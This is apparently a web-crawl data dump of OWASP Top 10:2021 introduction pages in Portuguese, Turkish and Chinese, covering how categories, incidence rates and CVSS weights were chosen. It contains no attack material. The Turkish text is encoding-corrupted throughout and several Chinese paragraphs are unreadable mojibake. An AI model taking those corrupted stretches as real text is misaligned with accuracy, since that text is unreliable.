Top 10. Ele permite que os profissionais nas linhas de frente votem naquilo que consideram os maiores riscos que podem não estar nos dados (e podem nunca ser expressos nos dados).\n\n## Por que taxa de incidência em vez de frequência?\n\nExistem três fontes principais de dados. Nós os identificamos como Ferramentas Assistidas por Humanos (HaT), Humanos Assistidos por Ferramentas (TaH) e Ferramentas.\n\nFerramentas e HaT são geradores de alta-frequência. As ferramentas procurarão vulnerabilidades específicas e tentarão incansavelmente encontrar todas as instâncias dessa vulnerabilidade, gerando contagens de descobertas altas para alguns tipos de vulnerabilidade. Observe o Cross-Site Scripting, que normalmente é um de dois tipos: é um erro menor e isolado ou um problema sistêmico. Quando é um problema sistêmico, a contagem de descobertas pode chegar à casa dos milhares para um único aplicativo. Essa alta frequência abafa a maioria das outras vulnerabilidades encontradas em relatórios ou dados.\n\nTaH, por outro lado, encontrará uma gama mais ampla de tipos de vulnerabilidade, mas em uma frequência muito menor devido a restrições de tempo. Quando os humanos testam um aplicativo e veem algo como Cross-Site Scripting, eles normalmente encontram três ou quatro instâncias e param. Eles podem determinar um achado sistêmico e escrevê-lo com uma recomendação para corrigir em uma escala de aplicativo. Não há necessidade (ou tempo) para encontrar todas as instâncias.\n\nSuponha que pegemos esses dois conjuntos de dados distintos e tentemos mesclá-los na frequência. Nesse caso, os dados de Ferramentas e HaT irão afogar os dados TaH mais precisos (mas amplos) e é uma boa parte do motivo pelo qual algo como Cross-Site Scripting foi tão bem classificado em muitas listas quando o impacto é geralmente de baixo a moderado. É por causa do grande volume de descobertas. (Cross-Site Scripting também é razoavelmente fácil de testar, portanto, há muitos outros testes para ele também).\n\nEm 2017, introduzimos o uso da taxa de incidência para dar uma nova olhada nos dados e mesclar os dados de Ferramentas e HaT com os dados TaH. A taxa de incidência pergunta qual porcentagem da população do aplicativo tinha pelo menos uma instância de um tipo de vulnerabilidade. Não nos importamos se foi pontual ou sistêmico. Isso é irrelevante para nossos propósitos; só precisamos saber quantos aplicativos tiveram pelo menos uma instância, o que ajuda a fornecer uma visão mais clara dos resultados de teste em vários tipos de teste, sem afogar os dados em resultados de alta frequência. Isso corresponde a uma visão relacionada ao risco, pois um invasor precisa de apenas uma instância para atacar um aplicativo com êxito por meio da categoria.\n\n## Qual é o processo de coleta e análise de dados?\n\nFormalizamos o processo de coleta de dados OWASP Top 10 no Open Security Summit em 2017. No OWASP Top 10 líderes e a comunidade passaram dois dias trabalhando na formalização de um processo transparente de coleta de dados. A edição de 2021 é a segunda vez que usamos essa metodologia.\n\nPublicamos uma chamada de dados através dos canais de mídia social disponíveis para nós. Na página do Projeto OWASP, listamos os elementos de dados e a estrutura que estamos procurando e como enviá-los. No projeto GitHub, temos arquivos de exemplo que servem como modelos. Trabalhamos com as organizações conforme necessário para ajudar a descobrir a estrutura e o mapeamento para os CWEs.\n\nObtemos dados de organizações que estão no negócio de ferramentas de teste, programas de recompenças de erros (Bug Bounty) e organizações que contribuem com dados de teste internos. Assim que tivermos os dados, nós os carregamos juntos e executamos uma análise fundamental do que os CWEs mapeiam para as categorias de risco. Há sobreposição entre alguns CWEs e outros estão intimamente relacionados (por exemplo, vulnerabilidades criptográficas). Quaisquer decisões relacionadas aos dados brutos enviados são documentadas e publicadas para serem abertas e transparentes com a forma como normalizamos os dados.\n\nExaminamos as oito categorias com as taxas de incidência mais altas para inclusão no Top 10. Também olhamos os resultados da pesquisa da comunidade Top 10 para ver quais já podem estar presentes nos dados. Os dois primeiros votos que ainda não estão presentes nos dados serão selecionados para os outros dois lugares no Top 10. Uma vez que todos os dez foram selecionados, aplicamos fatores generalizados para explorabilidade e impacto; para ajudar a classificar os Top 10 2021 em uma ordem baseada no risco.\n\n## Fatores dos Dados\n\nExistem fatores nos dados listados para cada uma das 10 principais categorias, eis o que eles significam:\n- CWEs mapeados: o número de CWEs mapeados para uma categoria pela equipe dos 10 principais.\n- Taxa de incidência: a taxa de incidência é a porcentagem de aplicativos vulneráveis a esse CWE da população testada por essa organização naquele ano.\n- (Teste) Cobertura: a porcentagem de aplicativos testados por todas as organizações para um determinado CWE.\n- Peso de exploração: a sub-pontuação do Exploração das pontuações CVSSv2 e CVSSv3 atribuídas aos CVEs mapeados para CWEs, normalizados e colocados em uma escala de 10 pontos.\n- Impacto ponderado: a sub-pontuação de impacto das pontuações CVSSv2 e CVSSv3 atribuídas aos CVEs mapeados para CWEs, normalizados e colocados em uma escala de 10 pontos.\n- Total de ocorrências: número total de aplicativos encontrados com os CWEs mapeados para uma categoria.\n- Total de CVEs: número total de CVEs no banco de dados NVD que foram mapeados para os CWEs mapeados para uma categoria.\n\n## Parabéns aos fornecedores de dados\n\nAs organizações a seguir (junto com alguns doadores anônimos) gentilmente doaram dados para mais de 500.000 aplicativos para tornar este o maior e mais abrangente conjunto de dados de segurança de aplicativos. Sem vocês, isso não seria possível.\n\n- AppSec Labs\n- Cobalt.io\n- Contrast Security\n- GitLab\n- HackerOne\n- HCL Technologies\n- Micro Focus\n- PenTest-Tools\n- Probely\n- Sqreen\n- Veracode\n- WhiteHat (NTT)\n\n## Obrigado aos nossos patrocinadores\n\nA equipe OWASP Top 10 2021 agradece o apoio financeiro do Secure Code Warrior e Just Eat.", "znaku_textu": 17051, "slov": 2707, "odkazu": 46, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:44", "sha256": "050bc4809f10a1e0242943d8c265b67f1248a1439887205120f0568852949da1", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://securecodewarrior.com/", "https://www.just-eat.co.uk/", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/tr/", "titulek": "Welcome Page - OWASP Top 10:2021", "h1": "GiriĹź", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/tr/", "jazyk": "tr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "GiriĹź"}, {"uroven": 2, "text": "OWASP Top 10 - 2021’e HoĹź Geldiniz"}, {"uroven": 2, "text": "2021 Top 10’da neler deÄźiĹźti"}, {"uroven": 2, "text": "Metodoloji"}, {"uroven": 2, "text": "Kategoriler nasıl yapılandırıldı"}, {"uroven": 2, "text": "Kategorilerin seçimi için veriler nasıl kullanıldı"}, {"uroven": 2, "text": "Neden saf istatistiksel veri deÄźil?"}, {"uroven": 2, "text": "Neden frekans yerine insidans oranı?"}, {"uroven": 2, "text": "Veri toplama ve analiz sĂĽreciniz nedir?"}, {"uroven": 2, "text": "Veri Faktörleri"}, {"uroven": 2, "text": "Veri katkıcılarımıza teĹźekkĂĽrler"}, {"uroven": 2, "text": "Sponsorlarımıza teĹźekkĂĽrler"}], "markdown": "# GiriĹź\n\n## OWASP Top 10 - 2021’e HoĹź Geldiniz\n\nOWASP Top 10’un en gĂĽncel sĂĽrĂĽmĂĽne hoĹź geldiniz! OWASP Top 10 2021 tamamen yenilendi; yeni bir grafik tasarım ve ana sayfamızdan indirebileceÄźiniz ya da çıktısını alabileceÄźiniz tek sayfalık bir infografik ile geliyor.\n\nBu sĂĽrĂĽme zamanını ve verisini katan herkese kocaman teĹźekkĂĽrler. Siz olmadan bu sĂĽrĂĽm mĂĽmkĂĽn olmazdı. **TEĹžEKKĂśRLER!**\n\n## 2021 Top 10’da neler deÄźiĹźti\n\nBu sĂĽrĂĽmde üç yeni kategori, isimlendirme ve kapsam deÄźiĹźiklikleri olan dört kategori ve bazı konsolidasyonlar var. Gerekli olduÄźunda isimleri, semptom yerine kök nedene odaklanacak Ĺźekilde deÄźiĹźtirdik.\n\n- **[A01:2021-Broken Access Control](A01_2021-Broken_Access_Control/)** beĹźinci sıradan, en ciddi web uygulaması gĂĽvenlik riski kategorisine yĂĽkseliyor; katkı saÄźlanan veriler ortalama olarak test edilen uygulamaların %3,81’inde bu risk kategorisindeki Common Weakness Enumeration (CWE)lerden bir ya da daha fazlasının bulunduÄźunu ve bu risk kategorisinde 318 binden fazla CWE olayı olduÄźunu gösteriyor. Broken Access Control ile eĹźlenen 34 CWE, diÄźer tĂĽm kategorilerden daha fazla sayıda uygulamada görĂĽlmĂĽĹź durumda.\n- **[A02:2021-Cryptographic Failures](A02_2021-Cryptographic_Failures/)** bir sıra yĂĽkselerek #2’ye çıkıyor; önceki adı **A3:2017-Sensitive Data Exposure** idi; bu daha çok bir semptomdu, kök neden deÄźil. Yenilenen ad, daha önce de örtĂĽk olarak olduÄźu gibi kriptografiyle ilgili baĹźarısızlıklara odaklanıyor. Bu kategori sıklıkla hassas veri ifĹźasına veya sistemin ele geçirilmesine yol açar.\n- **[A03:2021-Injection](A03_2021-Injection/)** üçüncĂĽ sıraya geriliyor. Uygulamaların %94’ünde bir tĂĽr injection için test yapıldı; maksimum insidans oranı %19, ortalama insidans oranı %3,37 ve bu kategoriye eĹźlenen 33 CWE, uygulamalarda 274 bin olay ile ikinci en yĂĽksek görĂĽnĂĽme sahip. Cross-site Scripting bu sĂĽrĂĽmde artık bu kategorinin bir parçası.\n- **[A04:2021-Insecure Design](A04_2021-Insecure_Design/)** 2021 için yeni bir kategori; tasarım kusurlarıyla iliĹźkili risklere odaklanır. EndĂĽstri olarak gerçekten “sola kaymak” istiyorsak daha fazla threat modeling, gĂĽvenli tasarım pattern’leri ve prensipleri ile referans mimarilere ihtiyaç var. GĂĽvensiz bir tasarım, ne kadar kusursuz uygulanırsa uygulansın dĂĽzeltilemez; tanım gereÄźi, belirli saldırılara karşı gerekli gĂĽvenlik kontrolleri hiç oluĹźturulmamıştır.\n- **[A05:2021-Security Misconfiguration](A05_2021-Security_Misconfiguration/)** önceki sĂĽrĂĽmde #6’dan yĂĽkseliyor; uygulamaların %90’ı bir tĂĽr yanlış yapılandırma için test edildi, ortalama insidans oranı %4,5 ve bu risk kategorisine eĹźlenen 208 binden fazla CWE olayı var. YĂĽksek derecede konfigĂĽre edilebilir yazılımlara geçiĹź arttıkça bu kategorinin yĂĽkselmesi Ĺźaşırtıcı deÄźil. Ă–nceki **A4:2017-XML External Entities (XXE)** kategorisi artık bu risk kategorisinin bir parçası.\n- **[A06:2021-Vulnerable and Outdated Components](A06_2021-Vulnerable_and_Outdated_Components/)** önceki adı Using Components with Known Vulnerabilities idi ve Top 10 community survey’de #2 oldu; ayrıca veri analizine göre de Top 10’a girecek kadar veri vardı. Bu kategori 2017’deki #9’dan yĂĽkseliyor ve test etmekte ve riski deÄźerlendirmekte zorlandığımız bilinen bir konu. Dahil edilen CWE’lere eĹźlenen herhangi bir CVE’nin bulunmadığı tek kategori; bu nedenle skorlamaya varsayılan exploit ve impact ağırlıkları 5.0 olarak dahil edildi.\n- **[A07:2021-Identification and Authentication Failures](A07_2021-Identification_and_Authentication_Failures/)** önceki Broken Authentication kategorisidir; ikinci sıradan geriliyor ve artık kimlik tespitiyle (identification) daha iliĹźkili CWE’leri de içeriyor. Bu kategori hâlâ Top 10’un ayrılmaz bir parçası, ancak standart framework’lerin artan kullanılabilirliÄźi yardımcı oluyor gibi görĂĽnĂĽyor.\n- **[A08:2021-Software and Data Integrity Failures](A08_2021-Software_and_Data_Integrity_Failures/)** 2021 için yeni bir kategoridir; doÄźrulama yapılmadan software update’ler, kritik data ve CI/CD pipeline’larıyla ilgili varsayımlara odaklanır. Bu kategoriye eĹźlenen 10 CWE’den CVE/CVSS verilerinde en yĂĽksek ağırlıklı impact’lerden bazıları geliyor. **A8:2017-Insecure Deserialization** artık bu daha geniĹź kategorinin bir parçası.\n- **[A09:2021-Security Logging and Monitoring Failures](A09_2021-Security_Logging_and_Monitoring_Failures/)** önceki **A10:2017-Insufficient Logging & Monitoring** kategorisidir; Top 10 community survey (#3) ile eklendi ve önceki #10’dan yĂĽkseliyor. Bu kategori daha fazla failure tĂĽrĂĽnĂĽ içerecek Ĺźekilde geniĹźletildi, test edilmesi zorlu ve CVE/CVSS verilerinde iyi temsil edilmiyor. Ancak bu kategorideki baĹźarısızlıklar doÄźrudan görĂĽnĂĽrlüğü, incident alerting’i ve adli analizleri etkileyebilir.\n- **[A10:2021-Server-Side Request Forgery](A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)** Top 10 community survey (#1) ile eklendi. Veriler, ortalamanın ĂĽzerinde test kapsamıyla birlikte nispeten düşük bir insidans oranı ve Exploit ile Impact potansiyeli için ortalamanın ĂĽzerinde puanlar gösteriyor. Bu kategori, gĂĽvenlik topluluÄźu ĂĽyelerinin bunun önemli olduÄźunu söylediÄźi, ancak Ĺźu an için verilerde tam yansımayan bir senaryoyu temsil ediyor.\n\n## Metodoloji\n\nBu sĂĽrĂĽm her zamankinden daha veri odaklı, ancak körĂĽ körĂĽne veri odaklı deÄźil. On kategorinin sekizini katkı verilerinden, ikisini de yĂĽksek seviyede Top 10 community survey’den seçtik. Bunu temel bir nedenle yapıyoruz: katkı verilerine bakmak geçmiĹźe bakmaktır. AppSec araĹźtırmacılarının yeni zafiyetler ve onları test etmenin yeni yollarını bulması zaman alır. Bu testlerin araçlara ve sĂĽreçlere entegre edilmesi de zaman alır. Bir zayıflığı ölçekli Ĺźekilde gĂĽvenilir biçimde test edebildiÄźimiz zamana kadar yıllar geçmiĹź olabilir. Bu bakışı dengelemek için, application security ve development uzmanlarına, verilerin henĂĽz göstermeyebileceÄźi ama sahada gördĂĽkleri temel zayıflıkların neler olduÄźunu sormak ĂĽzere bir community survey kullanıyoruz.\n\nTop 10’u olgunlaĹźtırmaya devam etmek için benimsediÄźimiz birkaç kritik deÄźiĹźiklik var.\n\n## Kategoriler nasıl yapılandırıldı\n\nOWASP Top Ten’in önceki sĂĽrĂĽmĂĽne göre bazı kategoriler deÄźiĹźti. İşte deÄźiĹźikliklerin yĂĽksek seviyeli özeti.\n\nĂ–nceki veri toplama çabaları, yaklaşık 30 CWE’nin belirlenmiĹź bir alt kĂĽmesine odaklanıyordu ve ek bulgular için bir alan vardı. Organizasyonların çoÄźunlukla yalnızca bu 30 CWE’ye odaklandığını ve gördĂĽkleri ek CWE’leri nadiren eklediklerini öğrendik. Bu sĂĽrĂĽmde konuyu serbest bıraktık ve herhangi bir kısıtlama olmaksızın yalnızca veri istedik. 2017’den baĹźlayarak belirli bir yıl için test edilen uygulama sayısını ve testlerde en az bir CWE örneÄźi bulunan uygulama sayısını istedik. Bu format, her bir CWE’nin uygulama popĂĽlasyonu içinde ne kadar yaygın olduÄźunu izlememizi saÄźlıyor. Bizim amaçlarımız için frekansı görmezden geliyoruz; baĹźka durumlarda önemli olabilse de uygulama popĂĽlasyonundaki gerçek yaygınlığı gizliyor. Bir uygulamada bir CWE’nin dört örneÄźi ya da 4.000 örneÄźi olması Top 10 hesaplamasına dahil deÄźil. Yaklaşık 30 CWE’den veri setinde analiz etmek ĂĽzere neredeyse 400 CWE’ye geçtik. Gelecekte ek veri analizi yapmayı planlıyoruz. CWE sayısındaki bu önemli artış, kategorilerin nasıl yapılandırıldığına iliĹźkin deÄźiĹźiklikleri gerektiriyor.\n\nCWE’leri gruplamak ve kategorize etmek için birkaç ay harcadık ve birkaç ay daha devam edebilirdik. Bir noktada durmak zorundaydık. CWE’lerin hem *kök neden* hem de *semptom* tipleri vardır; *kök neden* tiplerine “Cryptographic Failure” ve “Misconfiguration” örnek verilebilirken, *semptom* tiplerine “Sensitive Data Exposure” ve “Denial of Service” örnek verilebilir. MĂĽmkĂĽn olduÄźunda *kök neden*e odaklanmaya karar verdik; çünkĂĽ tanımlama ve iyileĹźtirme rehberi saÄźlamak açısından daha mantıklı. *Kök neden*e semptomdan daha fazla odaklanmak yeni bir konsept deÄźil; Top Ten zaten *semptom* ve *kök neden* karışımıydı. CWE’ler de bir karışımdır; biz sadece bunu daha kasıtlı hale getiriyor ve vurguluyoruz. Bu sĂĽrĂĽmde kategori başına ortalama 19,6 CWE var; alt sınırlar **A10:2021-Server-Side Request Forgery (SSRF)** için 1 CWE ve **A04:2021-Insecure Design** için 40 CWE. Bu gĂĽncellenmiĹź kategori yapısı, Ĺźirketlerin dillerine/framework’lerine uygun CWE’lere odaklanabilmesi açısından ek eÄźitim faydaları sunuyor.\n\n## Kategorilerin seçimi için veriler nasıl kullanıldı\n\n2017’de kategorileri olasılığı belirlemek için insidans oranına göre seçtik, ardından onlarca yıllık deneyime dayanan ekip tartışmalarıyla *Exploitability*, *Detectability* (aynı zamanda *likelihood*) ve *Technical Impact* temelinde sıraladık. 2021 için mĂĽmkĂĽnse *Exploitability* ve *(Technical) Impact* için veri kullanmak istiyoruz.\n\nOWASP Dependency Check’i indirdik ve CVE’lere eĹźlenen CWE’lere göre gruplanmış CVSS Exploit ve Impact skorlarını çıkardık. Oldukça fazla araĹźtırma ve çaba gerektirdi; tĂĽm CVE’lerin CVSSv2 skorları var, ancak CVSSv2’deki kusurların CVSSv3 ile ele alınması gerekiyordu. Belirli bir noktadan sonra tĂĽm CVE’lere ayrıca bir CVSSv3 skoru da atandı. Ek olarak, puan aralıkları ve formĂĽller CVSSv2 ile CVSSv3 arasında gĂĽncellendi.\n\nCVSSv2’de hem *Exploit* hem *(Technical) Impact* 10,0’a kadar çıkabiliyordu, ancak formĂĽl *Exploit* için %60’a, *Impact* için %40’a düşürĂĽyordu. CVSSv3’te teorik maksimum *Exploit* için 6,0 ve *Impact* için 4,0 ile sınırlandırıldı. Ağırlıklar dikkate alındığında, CVSSv3’te Impact skoru ortalama olarak neredeyse bir buçuk puan yukarı kaydı ve exploitability ortalama olarak neredeyse yarım puan aĹźağı kaydı.\n\nNational Vulnerability Database (NVD) verilerinde CWE’ye eĹźlenen bir CVE’nin 125 bin kaydı var ve bir CVE’ye eĹźlenen 241 benzersiz CWE bulunuyor. 62 bin CWE eĹźlemesi bir CVSSv3 skoruna sahip; bu, veri seti popĂĽlasyonunun yaklaşık yarısıdır.\n\nTop Ten 2021 için ortalama *exploit* ve *impact* skorlarını Ĺźu Ĺźekilde hesapladık. TĂĽm CVSS skorlarına sahip CVE’leri CWE’ye göre grupladık ve hem *exploit* hem *impact* skorlarını, popĂĽlasyonun CVSSv3 sahibi yĂĽzdesine + kalan CVSSv2 popĂĽlasyonuna göre ağırlıklandırarak genel bir ortalama elde ettik. Bu ortalamaları, risk denkleminin diÄźer yarısı için *Exploit* ve *(Technical) Impact* puanlaması olarak kullanmak ĂĽzere veri setindeki CWE’lere eĹźledik.\n\n## Neden saf istatistiksel veri deÄźil?\n\nVerilerdeki sonuçlar, esasen otomatik olarak test edebildiklerimizle sınırlıdır. Deneyimli bir AppSec profesyoneli ile konuĹźursanız, verilerde henĂĽz bulunmayan ama buldukları Ĺźeylerden ve gördĂĽkleri trendlerden bahsederler. Belirli zafiyet tĂĽrleri için test metodolojilerinin geliĹźtirilmesi zaman alır ve bu testlerin otomatikleĹźtirilip çok sayıda uygulamaya karşı çalıştırılması daha da zaman alır. BulduÄźumuz her Ĺźey geçmiĹźe bakmaktadır ve verilerde olmayan son yılın trendlerini kaçırıyor olabilir.\n\nBu nedenle veriler eksik olduÄźu için on kategoriden yalnızca sekizini verilerden seçiyoruz. DiÄźer iki kategori Top 10 community survey’den geliyor. Bu, sahada çalışan uygulayıcıların, verilerde olmayabilecek (ve belki de hiç veriye yansımayacak) en yĂĽksek riskleri oylamasına olanak tanır.\n\n## Neden frekans yerine insidans oranı?\n\nÜç birincil veri kaynağı vardır: Human-assisted Tooling (HaT), Tool-assisted Human (TaH) ve ham Tooling.\n\nTooling ve HaT, yĂĽksek frekanslı bulgu ĂĽreticileridir. Araçlar belirli zafiyetleri arar, yorulmadan bu zafiyetin her örneÄźini bulmaya çalışır ve bazı zafiyet tĂĽrleri için yĂĽksek bulgu sayıları ĂĽretir. Cross-Site Scripting’e bakın; genellikle iki çeĹźittir: daha küçük, izole bir hata ya da sistemik bir sorun. Sistemik olduÄźunda tek bir uygulama için bulgu sayıları binlere ulaĹźabilir. Bu yĂĽksek frekans, raporlardaki ya da verilerdeki diÄźer çoÄźu zafiyeti bastırır.\n\nĂ–te yandan TaH, daha geniĹź bir zafiyet tĂĽrĂĽ yelpazesi bulur ancak zaman kısıtları nedeniyle çok daha düşük frekanstadır. İnsanlar bir uygulamayı test edip Cross-Site Scripting gibi bir Ĺźey gördüğünde genellikle üç dört örnek bulur ve durur. Sistemik bir bulgu olup olmadığını belirleyebilir ve uygulama genelinde dĂĽzeltme önerisi ile yazabilirler. Her örneÄźi bulmaya gerek (ve zaman) yoktur.\n\nBu iki farklı veri setini frekansa göre birleĹźtirmeye çalıştığımızı varsayalım; Tooling ve HaT verileri daha doÄźru (ama geniĹź) TaH verilerini boÄźar ve bunun önemli bir kısmı, Cross-Site Scripting gibi Ĺźeylerin çoÄźu listede çok yĂĽksek sıralarda olmasının nedenidir; genellikle etkisi düşük ile orta arasında olmasına raÄźmen. Bunun nedeni salt bulgu hacmidir. (Cross-Site Scripting’i test etmek de nispeten kolaydır, bu nedenle onun için daha fazla test vardır.)\n\n2017’de, verilere taze bir bakış atmak ve Tooling ile HaT verilerini TaH verileriyle temiz Ĺźekilde birleĹźtirmek için insidans oranını kullanmaya baĹźladık. İnsidans oranı, uygulama popĂĽlasyonunun yĂĽzde kaçında bir zafiyet tĂĽrĂĽnĂĽn en az bir örneÄźinin bulunduÄźunu sorar. Tekil mi yoksa sistemik mi olduÄźuna aldırmayız. Bizim amaçlarımız için bu ilgisizdir; sadece en az bir örnek bulunan uygulama sayısını bilmeye ihtiyacımız var; bu da, yĂĽksek frekanslı sonuçlarla verileri boÄźmadan, farklı test tĂĽrleri arasında bulguların daha net bir görĂĽnĂĽmĂĽnĂĽ saÄźlar. Bu, bir saldırganın bir kategoriyi baĹźarıyla istismar etmek için yalnızca bir örneÄźe ihtiyaç duyduÄźu gerçeÄźiyle iliĹźkili risk temelli bir bakışa karşılık gelir.\n\n## Veri toplama ve analiz sĂĽreciniz nedir?\n\nVeri toplama sĂĽrecini 2017’de Open Security Summit’te resmileĹźtirdik. OWASP Top 10 liderleri ve topluluk, Ĺźeffaf bir veri toplama sĂĽreci oluĹźturmak için iki gĂĽn harcadı. 2021 sĂĽrĂĽmĂĽ, bu metodolojiyi ikinci kez kullandığımız sĂĽrĂĽmdĂĽr.\n\nSosyal medya kanalları ĂĽzerinden (hem proje hem OWASP) veri çaÄźrısı yayınlıyoruz. OWASP Proje sayfasında aradığımız veri öğelerini ve yapılarını ve bunların nasıl gönderileceÄźini listeliyoruz. GitHub projesinde Ĺźablon görevi gören örnek dosyalarımız var. CWE’lere yapı ve eĹźlemeyi anlamak için gerektiÄźinde organizasyonlarla birlikte çalışıyoruz.\n\nVerileri, iĹźi gereÄźi test vendor’ı olan organizasyonlardan, bug bounty vendor’larından ve iç test verilerini katkılayan organizasyonlardan alıyoruz. Veriyi aldıktan sonra bir araya yĂĽklĂĽyor ve CWE’lerin risk kategorilerine nasıl eĹźlendiÄźine dair temel bir analiz çalıştırıyoruz. Bazı CWE’ler arasında örtĂĽĹźme var ve diÄźerleri birbirine çok yakındır (örn. kriptografik zafiyetler). Gönderilen ham verilerle ilgili alınan her karar, verileri nasıl normalize ettiÄźimizi açık ve Ĺźeffaf olmak için belgelenir ve yayımlanır.\n\nTop 10’a dahil edilmek ĂĽzere en yĂĽksek insidans oranına sahip sekiz kategoriye bakıyoruz. Ayrıca Top 10 community survey sonuçlarına bakıyor ve hangilerinin verilerde zaten mevcut olabileceÄźini görĂĽyoruz. Verilerde henĂĽz yer almayan en çok oyu alan iki kategori, Top 10’daki diÄźer iki yer için seçilir. TĂĽm on kategori seçildikten sonra, Top 10 2021’i risk bazlı bir sıraya koymaya yardımcı olmak için genelleĹźtirilmiĹź exploitability ve impact faktörlerini uyguladık.\n\n## Veri Faktörleri\n\nTop 10’daki her kategori için listelenen veri faktörleri ve anlamları Ĺźunlardır:\n\n- CWEs Mapped: Top 10 ekibi tarafından bir kategoriye eĹźlenen CWE sayısı.\n- Incidence Rate: Belirli bir yıl için, o organizasyon tarafından test edilen popĂĽlasyondaki uygulamaların, ilgili CWE’ye karşı zafiyetli olan yĂĽzdesi.\n- (Testing) Coverage: Belirli bir CWE için tĂĽm organizasyonlar tarafından test edilen uygulamaların yĂĽzdesi.\n- Weighted Exploit: CWE’lere eĹźlenen CVE’lerden gelen CVSSv2 ve CVSSv3 Exploit alt-skoru, normalize edilerek 10 puanlık ölçeÄźe yerleĹźtirilmiĹź hali.\n- Weighted Impact: CWE’lere eĹźlenen CVE’lerden gelen CVSSv2 ve CVSSv3 Impact alt-skoru, normalize edilerek 10 puanlık ölçeÄźe yerleĹźtirilmiĹź hali.\n- Total Occurrences: Bir kategoriye eĹźlenen CWE’lerin bulunduÄźu uygulamaların toplam sayısı.\n- Total CVEs: Bir kategoriye eĹźlenen CWE’lere NVD veritabanında eĹźlenen toplam CVE sayısı.\n\n## Veri katkıcılarımıza teĹźekkĂĽrler\n\nAĹźağıdaki organizasyonlar (ve bazı anonim bağışçılar), bu sĂĽrĂĽmĂĽ en bĂĽyĂĽk ve en kapsamlı uygulama gĂĽvenliÄźi veri seti hâline getiren 500.000’den fazla uygulamaya ait verileri cömertçe bağışladı. Siz olmadan bu mĂĽmkĂĽn olmazdı.\n\n- AppSec Labs\n- Cobalt.io\n- Contrast Security\n- GitLab\n- HackerOne\n- HCL Technologies\n- Micro Focus\n- PenTest-Tools\n- Probely\n- Sqreen\n- Veracode\n- WhiteHat (NTT)\n\n## Sponsorlarımıza teĹźekkĂĽrler\n\nOWASP Top 10 2021 ekibi, Secure Code Warrior ve Just Eat’in finansal desteÄźini minnetle kabul eder.", "znaku_textu": 17313, "slov": 2090, "odkazu": 46, "kodovani": "windows-1250", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:45", "sha256": "84aedecc297b5c61b3dc48ceb2e3aebaef6dc10c70971b38d8b411a17251d9e2", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://securecodewarrior.com/", "https://www.just-eat.co.uk/", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/zh-Hant/", "titulek": "Welcome Page - OWASP Top 10:2021", "h1": "OWASP Top 10 2021 介紹", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/zh-Hant/", "jazyk": "zh-Hant", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Top 10 2021 介紹"}, {"uroven": 2, "text": "Top 10 for 2021 有什么新的变化?"}, {"uroven": 2, "text": "分析方法"}, {"uroven": 3, "text": "如何建构风险类別"}, {"uroven": 3, "text": "选择类別时资料的使用方式"}, {"uroven": 2, "text": "为什么就不纯粹做统计分析?"}, {"uroven": 2, "text": "为什么用事故率而不是用发生次数"}, {"uroven": 2, "text": "What is your data collection and analysis process?"}, {"uroven": 2, "text": "Data Factors"}, {"uroven": 2, "text": "Category Relationships from 2017"}, {"uroven": 1, "text": "Thank you to our data contributors"}, {"uroven": 2, "text": "Thank you to our sponsors"}], "markdown": "# OWASP Top 10 2021 介紹\n\n欢迎來到最新版本的 OWASP Top 10! OWASP Top 10 2021 ć˜Żä¸€ä¸Şĺ…¨ć–°çš„ĺĺ•ďźŒĺŒ…ĺŤäş†ä˝ ĺŻäťĽć‰“ĺ°ä¸‹äž†çš„ć–°ĺ›žç¤şčŻ´ć˜ŽďźŒč‹Ľćœ‰éœ€čŚçš„čŻďźŒä˝ ĺŻäťĽäťŽćˆ‘äťŹçš„ç˝‘éĄľä¸Šé˘ä¸‹č˝˝ă€‚\n\nĺœ¨ć­¤ćˆ‘äťŹćƒłĺŻšć‰€ćœ‰č´ĄçŒŽäş†äť–äťŹć—śé—´ĺ’Œčľ„ć–™çš„äşşçľŚäşˆćžĺ¤§çš„ć„Ÿč°˘ă€‚ć˛Ąćœ‰ä˝ äťŹďźŒčż™ä¸€ä¸Şć–°ç‰ˆćœŹä¸äźšäş§ç”Ÿă€‚**谢谢**。\n\n## Top 10 for 2021 有什么新的变化?\n\n这次在 OWASP Top 10 for 2021 有三个全新的分类,有四个分类有做名称和范围的修正,并有将一些类别做合并。\n\n**A01:2021-权限控制失效** 从第五名移上來; 94% 被测试的应用程式都有验证到某种类别权限控制失效的问题。在权限控制失效这个类别中被对应到的 34 个 CWEs 在验测资料中出现的次数都高于其他的弱点类别。\n\n**A02:2021-ĺŠ ĺŻ†ćœşĺˆśĺ¤ąć•ˆ** 提升一名到第二名,在之前为 *敏感资料外曝*ďźŒĺœ¨ć­¤ĺŽšäš‰ä¸‹ćŻ”čžƒçąťäźźäşŽä¸€ä¸Şĺšżćł›çš„é—Žé˘˜č€Œéžć šćœŹĺŽŸĺ› ă€‚ĺœ¨ć­¤é‡ć–°ĺŽšäš‰ĺšśĺ°†é—Žé˘˜ć ¸ĺżƒĺŽšäš‰ĺœ¨ĺŠ ĺŻ†ćœşĺˆśçš„ĺ¤ąč´ĽďźŒĺšśĺ› ć­¤é€ ćˆć•ć„Ÿć€§čľ„ć–™ĺ¤–ćł„ćˆ–ć˜Żçłťçľąč˘Ťç ´ĺă€‚\n\n**A03:2021-注入式攻击** 下滑到第三名。94% 被测试的应用程式都有验测到某种类別注入式攻击的问题。在注入式攻击这个类別中被对应到的 33 个 CWEs 